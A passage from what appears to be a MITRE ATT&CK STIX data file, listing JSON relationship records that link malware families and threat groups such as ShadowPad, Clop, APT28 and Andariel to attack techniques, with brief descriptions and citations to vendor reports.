endpoints.(Citation: Talos Oblique RAT March 2021)","relationship_type":"uses","source_ref":"malware--5864e59f-eb4c-43ad-83b2-b5e4fae056c9","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--c7c4f5fa-82f9-4851-a6af-3a7d402e405d","created":"2022-04-09T15:20:42.343Z","x_mitre_version":"0.1","external_references":[{"source_name":"Check Point Meteor Aug 2021","url":"https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/","description":"Check Point Research Team. (2021, August 14). Indra - Hackers Behind Recent Attacks on Iran. Retrieved February 17, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Meteor](https://attack.mitre.org/software/S0688) can run `set.bat`, `update.bat`, `cache.bat`, `bcd.bat`, `msrun.bat`, and similar scripts.(Citation: Check Point Meteor Aug 2021)","modified":"2022-04-09T15:20:42.343Z","relationship_type":"uses","source_ref":"malware--d79e7a60-5de9-448e-a074-f95d2d80f8d0","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c7c5c4f3-eb1e-4c32-b78c-65f2c622f548","type":"relationship","created":"2021-03-23T20:49:40.281Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky ShadowPad Aug 2017","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/08/07172148/ShadowPad_technical_description_PDF.pdf","description":"Kaspersky Lab. (2017, August). ShadowPad: popular server management software hit in supply chain attack. Retrieved March 22, 2021."}],"modified":"2021-04-26T13:14:36.119Z","description":"[ShadowPad](https://attack.mitre.org/software/S0596) communicates over HTTP to retrieve a string that is decoded into a C2 server URL.(Citation: Kaspersky ShadowPad Aug 2017)","relationship_type":"uses","source_ref":"malware--ec9e00dd-0313-4d5b-8105-c20aa47abffc","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c7c855ed-9550-4611-84bd-d4d7c86cef3c","type":"relationship","created":"2019-01-30T19:50:46.664Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/","source_name":"Unit 42 NOKKI Sept 2018"}],"modified":"2020-03-17T14:21:21.517Z","description":"[NOKKI](https://attack.mitre.org/software/S0353) can collect data from the victim and stage it in LOCALAPPDATA%\\MicroSoft Updatea\\uplog.tmp.(Citation: Unit 42 NOKKI Sept 2018)","relationship_type":"uses","source_ref":"malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c7c8b431-77bb-45ac-9826-bd92828c2f85","type":"relationship","created":"2019-02-04T18:32:07.321Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"SensePost. (2016, August 18). Ruler: A tool to abuse Exchange services. Retrieved February 4, 2019.","url":"https://github.com/sensepost/ruler","source_name":"SensePost Ruler GitHub"}],"modified":"2020-03-29T22:08:21.359Z","description":"[Ruler](https://attack.mitre.org/software/S0358) can be used to enumerate Exchange users and dump the GAL.(Citation: SensePost Ruler GitHub)","relationship_type":"uses","source_ref":"tool--90ac9266-68ce-46f2-b24f-5eb3b2a8ea38","target_ref":"attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c7cf767a-fa78-4ca7-9bd1-612d51d0c098","type":"relationship","created":"2020-07-27T18:55:17.610Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender StrongPity June 2020","url":"https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf","description":"Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020."}],"modified":"2020-07-27T18:55:17.610Z","description":"[StrongPity](https://attack.mitre.org/software/S0491) can download files to specified targets.(Citation: Bitdefender StrongPity June 2020)","relationship_type":"uses","source_ref":"malware--20945359-3b39-4542-85ef-08ecb4e1c174","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c7d6694e-cfbf-4883-9f4c-8fb3f187e6ae","type":"relationship","created":"2020-06-08T17:03:52.979Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky TajMahal April 2019","url":"https://securelist.com/project-tajmahal/90240/","description":"GReAT. (2019, April 10). Project TajMahal – a sophisticated new APT framework. Retrieved October 14, 2019."}],"modified":"2020-06-15T21:19:30.884Z","description":"[TajMahal](https://attack.mitre.org/software/S0467) has the ability to inject DLLs for malicious plugins into running processes.(Citation: Kaspersky TajMahal April 2019)","relationship_type":"uses","source_ref":"malware--b51797f7-57da-4210-b8ac-b8632ee75d70","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c7d7c454-71fb-4a8e-989a-cb2e7404c0d3","type":"relationship","created":"2021-09-28T17:59:40.601Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Ferocious Kitten Jun 2021","url":"https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/","description":"GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}],"modified":"2021-10-15T15:03:46.134Z","description":"[MarkiRAT](https://attack.mitre.org/software/S0652) can store collected data locally in a created .nfo file.(Citation: Kaspersky Ferocious Kitten Jun 2021)","relationship_type":"uses","source_ref":"malware--532c6004-b1e8-415b-9516-f7c14ba783b1","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c7daa7ca-ca5a-4940-a370-d9eccb8f3c9a","type":"relationship","created":"2021-05-10T23:19:38.717Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mcafee Clop Aug 2019","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/clop-ransomware/","description":"Mundo, A. (2019, August 1). Clop Ransomware. Retrieved May 10, 2021."},{"source_name":"Unit42 Clop April 2021","url":"https://unit42.paloaltonetworks.com/clop-ransomware/","description":"Santos, D. (2021, April 13). Threat Assessment: Clop Ransomware. Retrieved July 30, 2021."},{"source_name":"Cybereason Clop Dec 2020","url":"https://www.cybereason.com/blog/cybereason-vs.-clop-ransomware","description":"Cybereason Nocturnus. (2020, December 23). Cybereason vs. Clop Ransomware. Retrieved May 11, 2021."}],"modified":"2021-10-15T00:18:17.759Z","description":"[Clop](https://attack.mitre.org/software/S0611) can encrypt files using AES, RSA, and RC4 and will add the \".clop\" extension to encrypted files.(Citation: Mcafee Clop Aug 2019)(Citation: Unit42 Clop April 2021)(Citation: Cybereason Clop Dec 2020) ","relationship_type":"uses","source_ref":"malware--cad3ba95-8c89-4146-ab10-08daa813f9de","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c7e6d4a6-8d99-4134-848a-f4f712eb4316","type":"relationship","created":"2017-05-31T21:33:27.033Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant Operation Ke3chang November 2014","description":"Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION “KE3CHANG”: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.","url":"https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs"},{"source_name":"NCC Group APT15 Alive and Strong","description":"Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.","url":"https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"}],"modified":"2021-11-01T21:12:14.989Z","description":"[Ke3chang](https://attack.mitre.org/groups/G0004) performs process discovery using tasklist commands.(Citation: Mandiant Operation Ke3chang November 2014)(Citation: NCC Group APT15 Alive and Strong)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c7e8689c-25cf-4fac-926e-c55a2414f16c","type":"relationship","created":"2020-03-19T22:05:06.704Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf","description":"ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.","source_name":"ESET Sednit Part 2"},{"source_name":"DOJ GRU Indictment Jul 2018","description":"Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.","url":"https://www.justice.gov/file/1080281/download"},{"source_name":"US District Court Indictment GRU Oct 2018","url":"https://www.justice.gov/opa/page/file/1098481/download","description":"Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020."}],"modified":"2020-10-01T18:55:37.709Z","description":"[APT28](https://attack.mitre.org/groups/G0007) regularly deploys both publicly available (ex: [Mimikatz](https://attack.mitre.org/software/S0002)) and custom password retrieval tools on victims.(Citation: ESET Sednit Part 2)(Citation: DOJ GRU Indictment Jul 2018)(Citation: US District Court Indictment GRU Oct 2018)\t","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c7e86d53-378b-4cb5-8d86-2b7b5f4c1232","type":"relationship","created":"2020-01-24T14:32:40.508Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://technet.microsoft.com/en-us/library/cc731150.aspx","description":"Microsoft. (n.d.). Overview of Remote Desktop Gateway. Retrieved June 6, 2016.","source_name":"TechNet RDP Gateway"}],"modified":"2020-04-28T13:27:20.646Z","description":"If possible, use a Remote Desktop Gateway to manage connections and security configuration of RDP within a network.(Citation: TechNet RDP Gateway)","relationship_type":"mitigates","source_ref":"course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f","target_ref":"attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c7e8feda-58fd-4015-9525-9032fd0b8872","created":"2022-09-30T20:38:36.216Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T20:44:13.238Z","description":"[S-Type](https://attack.mitre.org/software/S0085) has used Windows APIs, including `GetKeyboardType`, `NetUserAdd`, and `NetUserDel`.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c7e92a33-f627-44bd-80be-d6e0cfcef656","type":"relationship","created":"2021-10-11T14:18:23.531Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist APT10 March 2021","url":"https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/","description":"GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}],"modified":"2021-10-11T14:18:23.531Z","description":"[Ecipekac](https://attack.mitre.org/software/S0624) has used a valid, legitimate digital signature to evade detection.(Citation: Securelist APT10 March 2021)","relationship_type":"uses","source_ref":"malware--292eb0c5-b8e8-4af6-9e8f-0fda6b4528d3","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c7ed191d-dbff-48c9-8a6b-baf056156baf","created":"2024-06-10T17:45:51.923Z","revoked":false,"external_references":[{"source_name":"Huntress INC Ransom Group August 2023","description":"Team Huntress. (2023, August 11). Investigating New INC Ransom Group Activity. Retrieved June 5, 2024.","url":"https://www.huntress.com/blog/investigating-new-inc-ransom-group-activity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-10T17:45:51.923Z","description":"[INC Ransom](https://attack.mitre.org/groups/G1032) has used Internet Explorer to view folders on other systems.(Citation: Huntress INC Ransom Group August 2023)","relationship_type":"uses","source_ref":"intrusion-set--cb41e991-65f4-4668-a65f-f4200545b5a1","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c7ef866c-18f8-485e-99d2-78b7e48576d8","type":"relationship","created":"2022-01-25T15:28:48.707Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point APT35 CharmPower January 2022","url":"https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/","description":"Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022."}],"modified":"2022-01-25T15:28:48.707Z","description":"[CharmPower](https://attack.mitre.org/software/S0674) has the ability to use ipconfig to enumerate system network settings.(Citation: Check Point APT35 CharmPower January 2022)","relationship_type":"uses","source_ref":"malware--7acb15b6-fe2c-4319-b136-6ab36ff0b2d4","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c7f04f79-4bda-4abf-8f74-4faad8a09f19","created":"2022-10-13T14:41:05.843Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T14:41:05.843Z","description":"[PcShare](https://attack.mitre.org/software/S1050) can upload files and information from a compromised host to its C2 servers.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"tool--3a53b207-aba2-4a2b-9cdb-273d633669e7","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c7f1b492-eea7-45d1-ab78-6794c7560c67","type":"relationship","created":"2020-05-27T13:22:06.775Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Naikon May 2020","url":"https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/","description":"CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020."}],"modified":"2020-07-03T21:52:44.922Z","description":"[Aria-body](https://attack.mitre.org/software/S0456) has the ability to use a reverse SOCKS proxy module.(Citation: CheckPoint Naikon May 2020)","relationship_type":"uses","source_ref":"malware--3161d76a-e2b2-4b97-9906-24909b735386","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c7fee556-41c2-43bd-a732-e11ff34fb129","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Trojan.Hydraq Jan 2010","description":"Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.","url":"https://www.symantec.com/connect/blogs/trojanhydraq-incident"},{"source_name":"Symantec Hydraq Jan 2010","description":"Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99"}],"modified":"2020-02-18T03:48:53.621Z","description":"[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can check for the existence of files, including its own components, as well as retrieve a list of logical drives.(Citation: Symantec Trojan.Hydraq Jan 2010)(Citation: Symantec Hydraq Jan 2010)","relationship_type":"uses","source_ref":"malware--73a4793a-ce55-4159-b2a6-208ef29b326f","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c8019115-38f0-4949-b7c6-331898b2cc83","type":"relationship","created":"2020-02-21T20:35:49.249Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-21T20:35:49.249Z","relationship_type":"revoked-by","source_ref":"attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c801e7ac-dce5-4349-bc07-446b5eec9744","created":"2021-09-29T15:41:18.387Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"AhnLab Andariel Subgroup of Lazarus June 2018","description":"AhnLab. (2018, June 23). Targeted attacks by Andariel Threat Group, a subgroup of the Lazarus. Retrieved September 29, 2021.","url":"https://web.archive.org/web/20230213154832/http://download.ahnlab.com/global/brochure/%5BAnalysis%5DAndariel_Group.pdf"},{"source_name":"MalwareBytes Lazarus-Andariel Conceals Code April 2021","description":"Jazi, H. (2021, April 19). Lazarus APT conceals malicious code within BMP image to drop its RAT . Retrieved September 29, 2021.","url":"https://blog.malwarebytes.com/threat-intelligence/2021/04/lazarus-apt-conceals-malicious-code-within-bmp-file-to-drop-its-rat/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T18:36:06.081Z","description":"[Andariel](https://attack.mitre.org/groups/G0138) has conducted spearphishing campaigns that included malicious Word or Excel attachments.(Citation: AhnLab Andariel Subgroup of Lazarus June 2018)(Citation: MalwareBytes Lazarus-Andariel Conceals Code April 2021)","relationship_type":"uses","source_ref":"intrusion-set--39d6890e-7f23-4474-b8ef-e7b0343c5fc8","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c80250a5-79c0-4a46-a0e3-49d6bcd574c6","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Baumgartner Naikon 2015","description":"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"}],"modified":"2020-03-17T02:38:58.275Z","description":"[Sys10](https://attack.mitre.org/software/S0060) uses HTTP for C2.(Citation: Baumgartner Naikon 2015)","relationship_type":"uses","source_ref":"malware--7f8730af-f683-423f-9ee1-5f6875a80481","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c808ac7c-6da1-4be8-9233-0020fbc3e8ac","created":"2020-07-15T20:23:36.506Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevx Carberp March 2011","description":"Giuliani, M., Allievi, A. (2011, February 28). Carberp - a modular information stealing trojan. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20231227000328/http://pxnow.prevx.com/content/blog/carberp-a_modular_information_stealing_trojan.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:17:52.257Z","description":"[Carberp](https://attack.mitre.org/software/S0484) has used XOR-based encryption to mask C2 server locations within the trojan.(Citation: Prevx Carberp March 2011)","relationship_type":"uses","source_ref":"malware--bbcd7a02-ef24-4171-ac94-a93540173b94","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--c809e1ba-e97b-41bf-a704-26fe09b6235c","created":"2023-12-06T19:18:59.514Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SocGholish-update","description":"Andrew Northern. (2022, November 22). SocGholish, a very real threat from a very fake update. Retrieved February 13, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update"},{"source_name":"Microsoft Ransomware as a Service","description":"Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-25T19:05:31.996Z","description":"[Mustard Tempest](https://attack.mitre.org/groups/G1020) has lured users into downloading malware through malicious links in fake advertisements and spearphishing emails.(Citation: Microsoft Ransomware as a Service)(Citation: SocGholish-update)","relationship_type":"uses","source_ref":"intrusion-set--0d4ac089-ced4-4cc4-a989-174d08e6d030","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c81124ac-5df7-4443-9760-95208d19e599","type":"relationship","created":"2020-06-19T21:25:43.656Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2020-06-29T21:37:55.943Z","description":"[Goopy](https://attack.mitre.org/software/S0477) has the ability to use a Microsoft Outlook backdoor macro to communicate with its C2.(Citation: Cybereason Cobalt Kitty 2017)\t","relationship_type":"uses","source_ref":"malware--eac3d77f-2b7b-4599-ba74-948dc16633ad","target_ref":"attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c81c6d91-00f3-4c8b-bf34-929972685aa3","type":"relationship","created":"2019-01-29T20:05:36.454Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DigiTrust NanoCore Jan 2017","url":"https://www.digitrustgroup.com/nanocore-not-your-average-rat/","description":"The DigiTrust Group. (2017, January 01). NanoCore Is Not Your Average RAT. Retrieved November 9, 2018."},{"source_name":"PaloAlto NanoCore Feb 2016","url":"https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/","description":"Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018."}],"modified":"2020-03-28T00:59:59.461Z","description":"[NanoCore](https://attack.mitre.org/software/S0336) can modify the victim's anti-virus.(Citation: DigiTrust NanoCore Jan 2017)(Citation: PaloAlto NanoCore Feb 